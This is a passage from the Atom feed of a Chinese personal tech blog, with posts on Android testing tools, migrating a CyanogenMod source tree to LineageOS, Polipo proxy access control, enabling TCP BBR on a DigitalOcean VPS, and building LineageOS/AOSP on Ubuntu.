&lt;li&gt;替换手机内的jar，要用&lt;code&gt;dx&lt;/code&gt;命令进行转换，&lt;code&gt;dx&lt;/code&gt;在&lt;code&gt;platform-tools&lt;/code&gt;下，使用命令&lt;code&gt;dx --dex --output=&amp;lt;path&amp;gt; &amp;lt;source.jar&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Linux下替换文件：源码source后直接执行&lt;code&gt;make monkey&lt;/code&gt;，输出在&lt;code&gt;out&lt;/code&gt;目录下。&lt;/li&gt;
&lt;li&gt;UIAutomator支持API&amp;gt;=17,提供类，可以和Robotium合用。&lt;/li&gt;
&lt;li&gt;Android 4.2 引入&lt;code&gt;settings&lt;/code&gt;命令，参考 &lt;a href="https://developer.android.com/reference/android/provider/Settings.html"&gt;Settings&lt;/a&gt;，值得学习，很多系统信息和操作不用root就能执行&lt;/li&gt;
&lt;li&gt;TCPDUMP+Wireshare&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getevent -h&lt;/code&gt;获取设备输入接口&lt;/li&gt;
&lt;li&gt;可以尝试加入&lt;code&gt;opencv&lt;/code&gt; 来进行图像识别&lt;/li&gt;
&lt;li&gt;Spoon框架使用，可以作为日志整理，支持和Robotium合用，可以提高效率&lt;/li&gt;
&lt;li&gt;UIAutomator + Dump （我目前常用的方法）&lt;/li&gt;
&lt;li&gt;UIAutomator结合Instrumentation模式，在UIAutomator 2.0（2015.3）后开始支持，在&lt;code&gt;extra&lt;/code&gt;目录下找到aar文件，解压其中的&lt;code&gt;classes.jar&lt;/code&gt;就是jar文件。&lt;/li&gt;
&lt;li&gt;代码覆盖率测试&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;书上无介绍的知识&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;绕过Instrumentation签名限制&lt;/li&gt;
&lt;li&gt;Ant的具体应用&lt;/li&gt;
&lt;li&gt;adb的应用&lt;/li&gt;
&lt;/ul&gt;</content><category term="Android"></category><category term="February"></category></entry><entry><title>Blog添加RSS和ATOM 订阅</title><link href="https://blog.chenjia.me/articles/170113-141412.html" rel="alternate"></link><published>2017-01-13T14:14:12+08:00</published><updated>2017-01-13T14:14:15+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-01-13:/articles/170113-141412.html</id><summary type="html">&lt;p&gt;最近朋友送了一个Kindle PW3，折腾了几天，在Goolge上搭建了KindleEar，发现RSS还是很好玩的 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;最近朋友送了一个Kindle PW3，折腾了几天，在Goolge上搭建了KindleEar，发现RSS还是很好玩的。所以就在mac上配置了Reeder，并且把一些不支持的Feed添加到了Feedy上。&lt;/p&gt;
&lt;p&gt;同时开通了Blog的RSS功能，之前被我禁止掉了。具体的开启方法可以参考官方文档&lt;a href="http://docs.getpelican.com/en/3.6.3/settings.html#feed-settings"&gt;RSS设置&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;具体的设置应该是这样，什么特殊的设置都不需要0.0~默认开启。&lt;/p&gt;
&lt;p&gt;可以根据需求更改主题对应位置的功能，个人建议只要开启全文订阅就好了。&lt;/p&gt;</content><category term="January"></category><category term="Pelican"></category></entry><entry><title>无缝迁移CM代码到LineageOS</title><link href="https://blog.chenjia.me/articles/170105-204326.html" rel="alternate"></link><published>2017-01-05T20:43:26+08:00</published><updated>2017-01-05T20:43:28+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-01-05:/articles/170105-204326.html</id><summary type="html">&lt;h2&gt;从CM迁移代码到Lineage OS&lt;/h2&gt;
&lt;p&gt;CM 由于总所周知的问题，现在社区变为Lineage …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;从CM迁移代码到Lineage OS&lt;/h2&gt;
&lt;p&gt;CM 由于总所周知的问题，现在社区变为Lineage OS，所以github上的项目也变化为LineageOS的账号，我们可以不重新下载代码，对一些地方进行修改就能顺利迁移。&lt;/p&gt;
&lt;p&gt;这些步骤是github-Gist上的一个脚本，地址为&lt;a href="https://gist.github.com/fourkbomb/0d94e286dc6f173eb9053c0d75e84783"&gt;脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我是编译THEA机型，测试通过。&lt;/p&gt;
&lt;p&gt;步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Init the Lineage manifest: &lt;code&gt;repo init -u ssh://git@github.com/LineageOS/android.git -b cm-14.1&lt;/code&gt; (or cm-13.0 if you prefer that) //一般情况下我们要修改为：&lt;code&gt;repo init -u https://github.com/LineageOS/android.git -b cm-14.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Update your local manifest (&lt;code&gt;.repo/local_manifests/roomservice.xml&lt;/code&gt;), if it exists - find and replace "CyanogenMod" with "LineageOS" globally.&lt;/li&gt;
&lt;li&gt;Move the git objects: &lt;code&gt;mv .repo/project-objects/CyanogenMod .repo/project-objects/LineageOS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;vim ~/fixlinks.sh&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt; 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;

&lt;span class="nv"&gt;DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$DIR&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;$DIR&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; i in config description info logs objects packed-refs refs rr-cache shallow svn hooks&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="nv"&gt;orig&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;readlink &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$orig&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed &lt;span class="s1"&gt;&amp;#39;s/CyanogenMod/LineageOS/&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;!=&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$orig&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Updated &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
        rm &lt;span class="nv"&gt;$i&lt;/span&gt;
        ln -s &lt;span class="nv"&gt;$dest&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Skipping &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; (not CM)&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;chmod +x ~/fixlinks.sh&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd .repo/projects&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find . -name '*.git' -exec ~/fixlinks.sh {} \;&lt;/code&gt;
And finally, fix the actual tree:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd ../..&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find * -name '.git' -exec ~/fixlinks.sh {} \;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;repo sync&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;编译&lt;/h2&gt;
&lt;p&gt;需要重新source环境来在进行编译，防止出现错误。&lt;/p&gt;</content><category term="January"></category><category term="Android"></category><category term="Linux"></category></entry><entry><title>Polipo代理权限控制</title><link href="https://blog.chenjia.me/articles/170105-155115.html" rel="alternate"></link><published>2017-01-05T15:51:15+08:00</published><updated>2017-01-05T15:51:18+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-01-05:/articles/170105-155115.html</id><summary type="html">&lt;h1&gt;Polipo代理添加验证&lt;/h1&gt;
&lt;p&gt;Polipo可以开放HTTP代理到公网上，但是目前爬虫太多，基本几个小时后就会被爬虫发现，因此为了方便自己使用 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Polipo代理添加验证&lt;/h1&gt;
&lt;p&gt;Polipo可以开放HTTP代理到公网上，但是目前爬虫太多，基本几个小时后就会被爬虫发现，因此为了方便自己使用，有两种限制方法、&lt;/p&gt;
&lt;h2&gt;使用IP进行控制&lt;/h2&gt;
&lt;p&gt;官方文档：&lt;a href="https://www.irif.fr/~jch/software/polipo/manual/Access-control.html"&gt;Access control&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;简单来说就是添加一个ip或者一个ip段，你必须熟悉子网掩码的规则。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;allowedClients = 127.0.0.1, ::1, 134.157.168.0/24, 2001:660:116::/48
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;使用用户名密码来进行验证&lt;/h2&gt;
&lt;p&gt;在配置文件添加&lt;code&gt;authCredentials='username:password'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在调用代理的时候使用&lt;code&gt;http://username:password@ip:port&lt;/code&gt;进行连接&lt;/p&gt;</content><category term="January"></category><category term="Linux"></category></entry><entry><title>Digitalocean VPS开启TCP BBR</title><link href="https://blog.chenjia.me/articles/161229-000832.html" rel="alternate"></link><published>2016-12-29T00:08:32+08:00</published><updated>2016-12-29T00:08:37+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-12-29:/articles/161229-000832.html</id><summary type="html">&lt;p&gt;随着TCP BBR 被加入到Linux Kernel 4 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;随着TCP BBR 被加入到Linux Kernel 4.9中，网络上掀起了一大波对BBR的讨论，由于其对大陆网络不好地区有特殊加速buff，所以就在自己的DD vps上做了测试，效果还是很可观的。&lt;/p&gt;
&lt;h2&gt;确定自己的主机类型&lt;/h2&gt;
&lt;p&gt;登录Digitalocean的控制台，查看自己的VPS的kernel标签，如果可以直接更换，&lt;img alt="Kernel" src="https://assets.digitalocean.com/articles/kernel_article/legacy_kernel_management.png"&gt;那么直接跟随教程替换kernel然后在这里进行选择，如果是显示&lt;img alt="NotKernel" src="https://assets.digitalocean.com/articles/kernel_article/native_internal_kernels.png"&gt;
那么你就需要根据教程来手动替换内核。&lt;/p&gt;
&lt;h2&gt;下载安装Linux kernel 4.9&lt;/h2&gt;
&lt;p&gt;首先先确定自己系统类型，是什么架构的VPS，如果是OpenVZ的就可以放弃了，其他的都没什么问题。&lt;/p&gt;
&lt;p&gt;首先先下载内核DEB文件：&lt;a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.9/"&gt;Ubuntu内核&lt;/a&gt;，从中下载对应的内核文件,然后使用&lt;code&gt;dpkg命令进行安装&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cd ~
mkdir kernel4.9
cd kernel4.9
wget xxxxx.deb
sudo dpkg -i xxxx.deb
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;更换启动内核&lt;/h2&gt;
&lt;p&gt;如果是控制台可以更换的就直接在控制台进行选择，如果不可直接更换，可以参考官方换核教程&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-update-a-digitalocean-server-s-kernel"&gt;How to update a digitalocean server‘s kernel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;摘录关键步骤：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sudo vim /etc/default/grub&lt;/code&gt;
    添加或修改对应行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;GRUB_DEFAULT=saved
GRUB_SAVEDEFAULT=true
GRUB_DISABLE_SUBMENU=y
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sudo vim /etc/default/grub.d/50-cloudimg-settings.cfg&lt;/code&gt;如果存在该文件就注释其中的&lt;code&gt;GRUB_DEFAULT=0&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更新GRUB&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;export GRUB_CONFIG=`sudo find /boot -name &amp;quot;grub.cfg&amp;quot;`
sudo update-grub
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看当前已经安装内核：&lt;code&gt;grep 'menuentry ' $GRUB_CONFIG | cut -f 2 -d "'" | nl -v 0&lt;/code&gt;,记住4.9内核的普通模式的序号&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo grub-set-default 2&lt;/code&gt; 将2替换为你对应的序号，进行更新&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo reboot&lt;/code&gt;重启机器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uname -a&lt;/code&gt;检查是否成功使用4.9内核&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;开启bbr功能：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sysctl net.core.default_qdisc=fq
sysctl net.ipv4.tcp_congestion_control=bbr
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检查是否开启成功&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;uname -r
# 查看内核版本，含有 4.9.0 就表示 OK 了
# ————————————
sysctl net.ipv4.tcp_available_congestion_control
# 返回值一般为：
# net.ipv4.tcp_available_congestion_control = bbr cubic reno
# ————————————
sysctl net.ipv4.tcp_congestion_control
# 返回值一般为：
# net.ipv4.tcp_congestion_control = bbr
# ————————————
sysctl net.core.default_qdisc
# 返回值一般为：
# net.core.default_qdisc = fq
# ————————————
lsmod | grep bbr
# 返回值有 tcp_bbr 模块即说明bbr已启动。
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Enjoy&lt;/h2&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://www.dou-bi.co/wlzy-22/"&gt;1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://zhuanlan.zhihu.com/p/24418274"&gt;2&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="Linux"></category><category term="December"></category></entry><entry><title>Build LineageOS/CM/AOSP on Ubuntu</title><link href="https://blog.chenjia.me/articles/161201-210131.html" rel="alternate"></link><published>2016-12-01T21:01:31+08:00</published><updated>2016-12-01T21:01:36+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-12-01:/articles/161201-210131.html</id><summary type="html">&lt;h2&gt;最新更新&lt;/h2&gt;
&lt;p&gt;由于CM改为Lineage OS，所有指向CM的连接请自动替换为Lineage的连接
&lt;a href="http://wiki.lineageos.org/thea_build.html"&gt;Lineage …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;h2&gt;最新更新&lt;/h2&gt;
&lt;p&gt;由于CM改为Lineage OS，所有指向CM的连接请自动替换为Lineage的连接
&lt;a href="http://wiki.lineageos.org/thea_build.html"&gt;Lineage OS Build for THEA&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;目的&lt;/h2&gt;
&lt;p&gt;经过好几次重装，重新编译，熟悉了CM13-CM14.1各个版本的编译过程。故在今天写一个总结，以防技术失传，让学弟多走弯路。&lt;/p&gt;
&lt;h2&gt;官方教程&lt;/h2&gt;
&lt;p&gt;CM也是基于AOSP修改的，所以看官方的教程总是没错的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，由于Google和Oracle各种打架，所以各个Android版本，各个Linux版本编译所需要的Java环境都是不一样的，请一定要根据自己的编译的版本多加判定。具体配置对应关系可以参照Google官方文档
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://source.android.com/source/downloading.html"&gt;Google 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.cyanogenmod.org/w/Build_for_thea#Install_the_repo_command"&gt;CM WIKI for THEA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/"&gt;清华大学官方镜像站-AOSP代码帮助&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;CM不同进行有不同的代号，可以通过google关键词&lt;code&gt;CM + 手机型号&lt;/code&gt; 看看具体的代号，如果不在CM的官方支持中，那么内核和驱动就得自己找有没有开源的了（基本希望不大）。同理CM的WIKI也可以通过相同的方法进行查找，不同机型主要提醒在编译之前下载内核代码不同和编译时候指定的机型不同
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;在Ubuntu上编译CM代码（或者AOSP代码）&lt;/h2&gt;
&lt;p&gt;两者基本是一样的，只是CM修改了很多AOSP的代码，然后把代码托管在github上了，但是同步的时候除了速度不一样，其实是无感知的。第二个不同就是CM下载多了一步下载机型对应的内核和驱动代码，AOSP自带Google全家机型驱动。并且支持直接编译模拟器镜像&lt;/p&gt;
&lt;h3&gt;编译系统和机器&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Ubuntu14.04或者16.04为好~毕竟是LTS版本&lt;/li&gt;
&lt;li&gt;CPU快决定编译速度快，内存至少8G，不然最新版本ninja一编译直接OOM，硬盘快写入编译文件就快~&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;初始化仓库&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;安装GIT
    &lt;code&gt;sudo apt-get install git&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置git用户名和邮箱&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ git config --global user.name "Your Name"&lt;/code&gt;
&lt;code&gt;$ git config --global user.email "you@example.com"&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下载Repo：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mkdir ~/bin
$ &lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;~/bin:&lt;span class="nv"&gt;$PATH&lt;/span&gt;
$ curl https://storage.googleapis.com/git-repo-downloads/repo &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt; ~/bin/repo
$ chmod a+x ~/bin/repo
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建工作目录并进入&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;重点步骤&lt;/strong&gt;
    &amp;gt;这一步，如果你想下载全部代码，也就是想在本地直接切换Android的所有代码，那么你就直接init，如果只是想要下载一个分支，请使用&lt;code&gt;-b&lt;/code&gt;来指定分支，这样代码量会小很多。&lt;/p&gt;
&lt;p&gt;下载全部的代码：&lt;code&gt;$ repo init -u https://android.googlesource.com/platform/manifest&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;下载某个分支的代码&lt;code&gt;$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.0.1_r1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;CM下载某一个分支的代码，一般看Github上你所要的机型仓库中的分支支持到哪个版本了，例如如果真要下载CM14.1的代码，那么使用&lt;code&gt;$ repo init -u https://github.com/CyanogenMod/android.git -b cm-14.1&lt;/code&gt;就可以了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果只是想要AOSP的代码，那么可以直接使用清华的帮助中的网址进行初始化，下载会快非常多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;初始化仓库后，使用&lt;code&gt;repo sync&lt;/code&gt;就可以同步代码了，网络不稳定会导致中断，需要手动再启动，有个自动的脚本忘记了，基本思路是命令返回非0状态就继续执行步骤。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CM代码在初始化结束后，可以使用&lt;code&gt;vim .repo/manifest.xml&lt;/code&gt;修改Google地址为清华镜像地址&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &amp;amp;lt;manifest&amp;amp;gt;
    &amp;amp;lt;remote  name=&amp;quot;aosp&amp;quot;
-           fetch=&amp;quot;https://android.googlesource.com&amp;quot;
+           fetch=&amp;quot;https://aosp.tuna.tsinghua.edu.cn&amp;quot;
        review=&amp;quot;android-review.googlesource.com&amp;quot; /&amp;amp;gt;

  &amp;amp;lt;remote  name=&amp;quot;github&amp;quot;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Repo命令支持HTTP代理，使用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;HTTP_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_user_id&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;:&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_password&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;@&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_server&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;:&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_port&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;
$ &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_user_id&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;:&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_password&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;@&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_server&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;:&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;proxy_port&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当代码同步结束后，文件夹就不是空的了，这时候使用&lt;code&gt;source build/envsetup.sh&lt;/code&gt;初始化编译工具的变量和环境&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(CM独有)同步代码后要继续同步编译机型的内核和驱动代码，这里以THEA机型为例：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用&lt;code&gt;breakfest thea&lt;/code&gt;下载，由于部分机型github的xml可能右缺失，导致最后出错，具体机型找其Github维护或者自行查找相关库添加。&lt;/p&gt;
&lt;p&gt;其中Thea机型在CM14之前需要在&lt;code&gt;./repo/local_manifests/roomservice.xml&lt;/code&gt;（该文件在运行reakfest命令后出现）中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &amp;amp;lt;project name=&amp;quot;TheMuppets/proprietary_vendor_motorola&amp;quot; path=&amp;quot;vendor/motorola&amp;quot; remote=&amp;quot;github&amp;quot; /&amp;amp;gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;CM14及以后版本还需要添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &amp;amp;lt;project name=&amp;quot;TheMuppets/proprietary_vendor_qcom_binaries&amp;quot; path=&amp;quot;vendor/qcom/binaries&amp;quot; remote=&amp;quot;github&amp;quot; /&amp;amp;gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;export USE_CCACHE=1
添加后再运行&lt;code&gt;breakfest thea&lt;/code&gt;即可
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;到达这步后，代码都已经下载完整了，现在就需要安装对应的Java版本了，&lt;a href="https://source.android.com/source/requirements.html#jdk"&gt;各个版本需要的Java版本&lt;/a&gt;，&lt;a href="https://source.android.com/source/initializing.html#setting-up-a-linux-build-environment"&gt;Ubuntu对应安装过程&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装其他需要的编译环境库：由于环境不断变化，请&lt;a href="https://source.android.com/source/initializing.html#setting-up-a-linux-build-environment"&gt;查看Installing required packages章节&lt;/a&gt;来获取最新依赖库&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在开始这是编译相关项目，首先是CCache,如果关心具体参数请看&lt;a href="https://wiki.cyanogenmod.org/w/Build_for_thea#Turn_on_caching_to_speed_up_build"&gt;CCACHE参数&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;export USE_CCACHE=1
prebuilts/misc/linux-x86/ccache/ccache -M 50G
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你在内存8g或者以下机器编译Android7.0及以上版本，请先运行以下参数来防止OOM，大小自己调整，我展示的是8G内存机器的参数&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;./prebuilts/sdk/tools/jack-admin stop-server
export JACK_SERVER_VM_ARGUMENTS=&amp;quot;-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4
./prebuilts/sdk/tools/jack-admin start-server
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;（CM独有）今天终于找到了Gello.apk编译错误的原因了，是Ubuntu默认没有cm maven仓库的证书链，导致下载的时候证书验证出错，解决方法如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;首先先&lt;code&gt;wget https://maven.cyanogenmod.org/artifactory/gello_prebuilds/org/cyanogenmod/gello/40/gello-40.apk&lt;/code&gt;查看是否有证书错误，如果提示证书链无法验证，请用Firefox打开&lt;code&gt;https://maven.cyanogenmod.org/artifactory/gello_prebuilds/&lt;/code&gt;,点击网址前面的锁头，点击更多信息，安全，查看证书，详细信息，然后把GeoTrustCA和RapidSSL CA的证书保存下来，并将其放入&lt;code&gt;/usr/share/ca-certificates/&lt;/code&gt;下，然后运行&lt;code&gt;sudo dpkg-reconfigure ca-certificates&lt;/code&gt;,选择YES导入这两个证书，然后运行&lt;code&gt;wget&lt;/code&gt;命令查看，不报错即可。
14. 激动人心的时刻到了，开始编译：
AOSP ：&lt;/p&gt;
